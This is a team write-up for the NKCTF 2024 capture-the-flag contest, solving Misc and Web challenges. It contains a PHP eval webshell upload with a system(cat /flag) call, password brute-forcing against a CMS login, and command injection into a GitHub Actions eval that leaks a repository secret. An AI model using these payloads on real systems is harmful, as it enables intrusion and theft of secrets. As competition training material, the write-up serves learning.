一、队伍信息
队伍名称:あんなの嘘だよ
队员信息:ranfey,G3rling,TianJun,Dreammm
二、解题步骤
S | Stuck | 题目做到一半思路卡壳 |
---|---|---|
F | Finished | 完成该题 |
1 | First Blood | 获得一血 |
2 | Second Blood | 获得二血 |
3 | Third Blood | 获得三血 |
Misc
F | signin |
随波逐流一把梭
wx关注公众号:猎刃实验室,发送口令 NKCTF2024_signIn
得到Flag
nkctf{hell0_w41coMe_2_NKCTF_2024}
F | Minecraft:SEED |
需要找到服务器地图种子来获取Flag,下载SeedCrackerX根据说明书食用
Github地址:19MisterX98/SeedcrackerX (github.com)
NKCTF{07efe5eb-318e-486a-8c1c-6fc9304c6b16}
有几个要注意的地方:
1.服务器版本是1.20.x的,根据游戏客户端版本下载相应的SeedCrackerX版本
2.下载的.jar文件需要放在相应版本客户端的Mods文件夹里
任何组合都是有效的。例如:3 艘沉船、1 座金字塔和 1 座冰屋。 您可以使用“/seed data bits”查看您的进程。(查看可挖掘结构的位数) 当结构周围有轮廓时,就代表Mod找到了结构。 在你得到足够的数据后,破解过程会自动开始。需要 1-5 分钟。 在这之后,mod可能会要求你寻找额外的结构。 相同类型的比特和结构越少,就越有可能找到。 减少你的结构种子后,该mod将通过地牢位置或散列的种子对你的世界种子进行暴力破解.
进去找沉船应该是最快的,出生点背后河道可以直通大海
F | world.execute.me |
首先解读兜底系统数据规则
QUESTION=$(echo '${{ github.event.issue.body }}' | grep -oP 'Question:.*$')
因此在问题中应该以Question:开头,否则无输出
ANSWER=$(eval "$ANSWER" 2>&1) # world.execute(DeBug);
而在Answer中因为正则表达式则不能以Question:开头。因此我们得到echo的格式为
Question:echo xxxxxxx
echo xxxxxxx
根据提示,我们会发现这个地方是需要得到的值,并有注释提醒
所以我们直接可以echo“HEART” 的环境变量,从 GitHub 仓库的 secrets 中获取我们所需的值
Question:echo “$HEART”
echo “$HEART”
得到Flag
NKCTF2024{Then_1_c4n_b3_y0ur_only_EXECUTION}
F | Webshell_pro |
流量分析,分析结果如下
b'whoami'
====
b'ipconfig'
/bin/sh: 1: ipconfig: not found
====
b'ifconfig'
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1460
inet 172.22.161.159 netmask 255.255.240.0 broadcast 172.22.175.255
inet6 fe80::215:5dff:fe18:b845 prefixlen 64 scopeid 0x20<link>
ether 00:15:5d:18:b8:45 txqueuelen 1000 (Ethernet)
RX packets 26778 bytes 10199358 (10.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1240 bytes 175322 (175.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
====
b'ls /'
Docker
bin
boot
dev
etc
home
init
lib
lib32
lib64
libx32
lost+found
media
mnt
mysql_data
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
wslOHicoG
wslbmJCJF
wslgCJNfE
wslhaGDbD
====
b'ls /root'
Compressed
Desktop
Documents
Downloads
FLAG
Music
Pictures
Public
Templates
Videos
WSL
====
b'ls /root/FLAG'
hint.py
小明的日记.txt
====
b'cd /root/FLAG'
b'cat 小明的日记.txt'
cat: 小明的日记.txt: No such file or directory
====
b'cd /root/FLAG && base64 小明的日记.txt'
FLAG is NOT HERE!!!!!!!!!!!
PASSWORD:
Password-based-encryption
====
b'cd /root/FLAG && base64 hint.py'
import base64
import libnum
from Crypto.PublicKey import RSA
pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""
prikey = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""
pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n
def enc_replace(base64_str: str):
base64_str = base64_str.replace("/", "e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM")
base64_str = base64_str.replace("+", "n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W")
return base64_str.replace("=", "JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2")
def encrypt(plain_text):
# 私钥加密
cipher_text = b""
for i in range(0, len(plain_text), 128):
part = plain_text[i:i+128]
enc = libnum.n2s(pow(libnum.s2n(part), prikey.d, n))
cipher_text += enc
return enc_replace(base64.b64encode(cipher_text).decode())
if __name__ == '__main__':
m = b"-RSA-" * 30
print(f"原始数据: {m}")
c = encrypt(m)
print(f"加密数据: {c}")
====
b'echo U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ== > /root/FLAG/flag.txt'
b'ls /root/FLAG'
flag.txt
hint.py
小明的日记.txt
====
b'echo Good Luck! ByeBye~'
Good Luck! ByeBye~
首先对服务器返回指令进行base32解密可以发现这是服务器对访问命令的返回,其中很重要的是小明的日记.txt中的PASSWORD密钥(Password-based-encryption)以及hint.py的加密算法,通过hint.py我们可以写出解密的算法
import base64
import libnum
from Crypto.PublicKey import RSA
# 公钥和私钥定义略
pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""
prikey = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""
pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n
def dec_replace(encoded_str: str):
# 自定义替换字符的逆过程
encoded_str = encoded_str.replace("e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM", "/")
encoded_str = encoded_str.replace("n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W", "+")
return encoded_str.replace("JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2", "=")
def decrypt(encrypted_text):
# 使用公钥解密
encrypted_text = dec_replace(encrypted_text)
encrypted_data = base64.b64decode(encrypted_text)
plain_text = b""
for i in range(0, len(encrypted_data), 128): # 注意修改为合适的分块大小
part = encrypted_data[i:i+128]
dec = libnum.n2s(pow(libnum.s2n(part), pubkey.e, n))
plain_text += dec
return plain_text
if __name__ == '__main__':
encrypted_message = " [truncated]MV2GQMB2EBTGYYLHOM6TIMJWGM6FKUBMIJJE6QKEINAVGVBMKJKU4TSJJZDSYTKVJRKESQ2BKNKD4IBANV2HKIBRGQ3DACRAEAQCAIBAEAQGS3TFOQQDCNZSFYZDELRRGYYS4MJVHEQCA3TFORWWC43LEAZDKNJOGI2TKLRSGQYC4MBAEBRHE33BMRRWC43UEAYTOMROGIZC4MJXGUXDENJVBIQCAIBAEAQ" # 加密消息字符串
print("解密数据:", decrypt(encrypted_message))
解密算法用于解密访问指令,也就是流量分析中相应的shell值,通过解密我们可以得到写入flag.txt中的内容
b'echo U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ== > /root/FLAG/flag.txt'
从U2FsdGVkX1+得知这个应该是某种对称加密的密文,之前得到过一个密钥,解密得到Flag
NKCTF{d0e1183c-07c3-49ea-b048-addbe6cc1b20}
F | CTF80 |
当然是从自己耗时最长题开始。这题的要求非常明了,就是要在一个文件的条件下对应各个师傅的要求的语言环境在对应的环境中能够输出对应的语句。根据附件,可以得知按照顺序是要过5个沙箱,分别是在C++中输出Cain,在C中输出crazyman,在PHP中输出*#/tanji(探姬师傅玩真花),在ruby中输出Bandark_JMT,在python中输出rec**。
先给出我的解
Iy8qdGFuamk8P3BocCBfX2hhbHRfY29tcGlsZXIoKTsKc3ByaW50ZiA9IHByaW50CnNwcmludGYoInJlYyIpCnB1dHMoIlJhbmRhcmtfSk1UIikKJycnCiMqLwojaW5jbHVkZSA8c3RkaW8uaD4gLy8/PgogaW50IG1haW4oKSB7CiNpZiBfX2NwbHVzcGx1cwpwcmludGYoIkNhaW4iKTsKI2Vsc2UKcHJpbnRmKCJjcmF6eW1hbiIpOwojZW5kaWYKIHJldHVybiAwO30KLy8nJyc=
#/*tanji<?php __halt_compiler();
sprintf = print
sprintf("rec")
puts("Randark_JMT")
'''
#*/
#include <stdio.h> //?>
int main() {
#if __cplusplus
printf("Cain");
#else
printf("crazyman");
#endif
return 0;}
//'''
不得不说非常好玩的题,可惜我对这些语言不熟悉花太长时间了(还是太菜了www),题目也是非常的亚萨西,如果把沙箱顺序打乱我估计就做不出来了www。
首先是要输出printf("Cain");非常直接的就
#include <iostream>
int main() {
std::cout << "Cain";
return 0;
}
然后就过到了crazyman
在这里我就卡了很久,期间还发生了奇怪的事情
LyogQysrIOWSjCBDIOeahOe8luivkeWZqOS8muW/veeVpSAjIOW8gOWktOeahOihjAojaWYgMAoKPD9waHAKZWNobyAiIy8qdGFuamkiOwoKPz4KCgpfX2hhbHRfY29tcGlsZXIoKTsgPz4jIFB5dGhvbuW8gOWniwpwcmludCgicmVjIikgICMgUHl0aG9u6L6T5Ye6CiMgUHl0aG9u57uT5p2fCgoKX19FTkRfXwpwdXRzICJSYW5kYXJrX0pNVCIKCiNlbmRpZgoqLwoKCiNpbmNsdWRlIDxpb3N0cmVhbT4KCmludCBtYWluKCkgewogICAgI2lmIF9fY3BsdXNwbHVzCiAgICBzdGQ6OmNvdXQgPDwgIkNhaW4iOyAgCiAgICAjZWxzZQogICAgcHJpbnRmKCJjcmF6eW1hbiIpOyAKICAgICNlbmRpZgogICAgcmV0dXJuIDA7ICAKfQ==
这个尝试然后再
LyogQysrIOWSjCBDIOeahOe8luivkeWZqOS8muW/veeVpSAjIOW8gOWktOeahOihjAojaWYgMAovLyDku6XkuIvmmK9QSFDku6PnoIHmrrUKPD9waHAKZWNobyAiIy8qdGFuamkiOwovLyBQSFDnu5PmnZ8KPz4KCi8vIOS7peS4i+aYr1B5dGhvbuS7o+eggeautQpfX2hhbHRfY29tcGlsZXIoKTsgPz4jIFB5dGhvbuW8gOWniwpwcmludCgicmVjIikgICMgUHl0aG9u6L6T5Ye6CiMgUHl0aG9u57uT5p2fCgovLyDku6XkuIvmmK9SdWJ55Luj56CB5q61Cl9fRU5EX18KcHV0cyAiUmFuZGFya19KTVQiCi8vIFJ1Ynnnu5PmnZ8KI2VuZGlmCiovCgovLyDku6XkuIvmmK9D5ZKMQysr55qE5Luj56CB5q6177yM6ZyA6KaB5YyF5ZCr5aS05paH5Lu2CgojaW5jbHVkZSA8c3RkaW8uaD4KCmludCBtYWluKCkgewogICAgLy8g5Yip55So6aKE5aSE55CG5Zmo5Yik5pat5pivQysr6L+Y5pivQ+eOr+WigwogICAgI2lmIF9fY3BsdXNwbHVzCiAgICBzdGQ6OmNvdXQgPDwgIkNhaW4iOyAgLy8gQysr6L6T5Ye6CiAgICAjZWxzZQogICAgcHJpbnRmKCJjcmF6eW1hbiIpOyAgLy8gQ+i+k+WHuu+8jOi/memHjOmcgOimgeWcqEPnjq/looPkuIvljIXlkKtzdGRpby5oCiAgICAjZW5kaWYKICAgIHJldHVybiAwOyAgLy8g57uT5p2fbWFpbuWHveaVsAp9
竟然莫名奇妙进入了探姬关,现在想来可能是我编码设置有问题,因为我是在win下做题的,终端是后面改为utf-8的(不然信息是乱码)然后我的Base64编码也是选的utf-8导致出错了,还有可能就是运行报错导致奇怪的bug。
去“问”gpt有没有什么什么方法让一个文件在C++和C分别输出不同的字符串,得到的是(还是gpt大神)
1. `#if __cplusplus`:这是一个条件编译指令,用于检查是否是C++环境。在C++环境下,`__cplusplus` 宏会被定义为一个非零值,因此这段代码会输出 "Cain"。
2. `#else`:如果不是C++环境,会执行这个分支。
嘛,还是报错,所以自己改了下
得到的是
#include <stdio.h>
int main() {
#if __cplusplus
printf("Cain");
#else
printf("crazyman");
#endif
return 0;
}
就可以稳定的到(实际上当时我还是绕了弯)
然后到PHP的探姬老师,要求输出*#/tanji**
首先我是构想出了先试一下
//<?php
echo "#/*tanji";
//?>
#include <stdio.h>
int main() {
#if __cplusplus
printf("Cain");
#else
printf("crazyman");
#endif
return 0;
}
但是很奇怪,本来下面的都不在块里面不应该被输出啊而且上面的//也被输出了
于是又去搜了一下,单纯的php环境的话块外的也会作为文本输出,于是我开始死循环了,直到我注意到探姬师傅的“**#/*”。这就是妥妥的注释呀,但是在echo内的话肯定是不行的,所以要将其作为文本输出,再加上__halt_compiler()**来停止对后面的解析,就可以达到只输出探姬师傅了。但是实际上我不清楚沙箱是怎么捕获输出的,我只能试一下。
#/*tanji
<?php __halt_compiler();
*/
//?>
#include <stdio.h>
int main() {
#if __cplusplus
printf("Cain");
#else
printf("crazyman");
#endif
return 0;
}
好!通过了
接下来就是完全没接触过的ruby了
ruby的注释符号只有#和= begin加=end。而且我把ruby的函数翻了个遍都没有看到有什么停止解析的函数,于是乎卡了很久。知道我又看到探姬老师的那个#。#?。#!
#正是其注释符号,而且php没有缩进的判断,于是乎
#/*tanji<?php __halt_compiler();
puts("Randark_JMT")
#*/
#include <stdio.h> //?>
int main() {
#if __cplusplus
printf("Cain");
#else
printf("crazyman");
#endif
return 0;}
我难道是天才?!不过有运行报错?无所谓!反正已经输出了!
好欸!
接下来就是我苦恼到比赛结束的python了
我先直接将py和ruby放到一块在/*....*/内部,发生了语法错误,python没有main入口,运行都不行,于是我想到了用python特有的“”“来注释,再稍微调换一下位置。
我本以为ruby是不支持"""的,但是很莫名奇妙它竟然支持?!看教程上也没有(刚开始还一直担心ruby报语法错)
#/*tanji<?php __halt_compiler();
print("rec")
puts("Randark_JMT")
'''
#*/
#include <stdio.h> //?>
int main() {
#if __cplusplus
printf("Cain");
#else
printf("crazyman");
#endif
return 0;}
//'''
但是还有问题,ruby同样是有print函数的,没法单独输出Randark_JMT,然后开始的坐牢,中途试过定义函数,数组,变量差异,+-\的换行差异,print函数的格式化方法差异,异常处理,但是都不行,基本都有语法错误。直到我发现,python可以简单的通过=来重命名函数!我看到这句时眼睛瞬间睁大了,就是你!
思路非常明显,类似于缓存一样作为一个中转,让print后执行,而且=在ruby也不会报错,只是运行后面的函数
顺带一提,ruby的重命名的方法是 alias 新方法名 旧方法名 但是在py过不了语法,所以没办法
#/*tanji<?php __halt_compiler();
peee = print
puts = XXXX
puts("Randark_JMT")
peee("rec")
'''
#*/
#include <stdio.h> //?>
int main() {
#if __cplusplus
printf("Cain");
#else
printf("crazyman");
#endif
return 0;}
//'''
这是一开始的思路,但是这样就要求XXXX是一个ruby和py都有的全局函数而且可以传入字符串
找来找去,只有exit()符合条件,但是众所周知,用了就无了
后来发现,其实可以更简单,这种方法只要一个ruby中可以传入字符串而且不产生输出的函数就可以了,于是随便找了个sprintf
得到Flag
#/*tanji<?php __halt_compiler();
sprintf = print
sprintf("rec")
puts("Randark_JMT")
'''
#*/
#include <stdio.h> //?>
int main() {
#if __cplusplus
printf("Cain");
#else
printf("crazyman");
#endif
return 0;}
//'''
NKCTF{fabaae0b-a77f-4dfb-9889-c948e0a30621}
Web
F | my first cms |
打开链接,进入登录界面,尝试登录,用户名用常用的admin,密码用bp进行爆破(通过字典),结束后发现密码是Admin123。
登录后,进入以下界面,发现File Manager 处有上传点,并且点击copy发现能改文件名猜测可能包含文件扩展名,于是上传文件内容<?php eval($_POST[1]); ?>并将其改成图片格式,而后上传后点击copy将其后缀改为.php随后打开文件运行代码,打开HARKBAR 进行post传输1=system(cat%20/flag);
得到Flag
NKCTF{e129d899-b02e-49f1-ab92-004dda47c8dd}
三、总结
这次比赛难度比新生赛大了很多,但是还是有一点的游玩体验(没有隐写,可恶!!!)。比赛方太大方了,抽了很多奖,连我都抽中了两次。题目方面很新,第一次看到Github相关的题,第一次做出来流量分析题,也突破了自我,总的来说是一次很不错的比赛,明年继续!感谢ranfey,TianJun,Dreammm三位队友,各位辛苦啦!!!
^3^
这是我们队伍最牛的ranfey牢湿 以一道题1500字的wp完杀其他五道题∠( ᐛ 」∠)_
tql
轩哥😍😍😍
tql
wok!杠哥!!!Σ(っ °Д °;)っ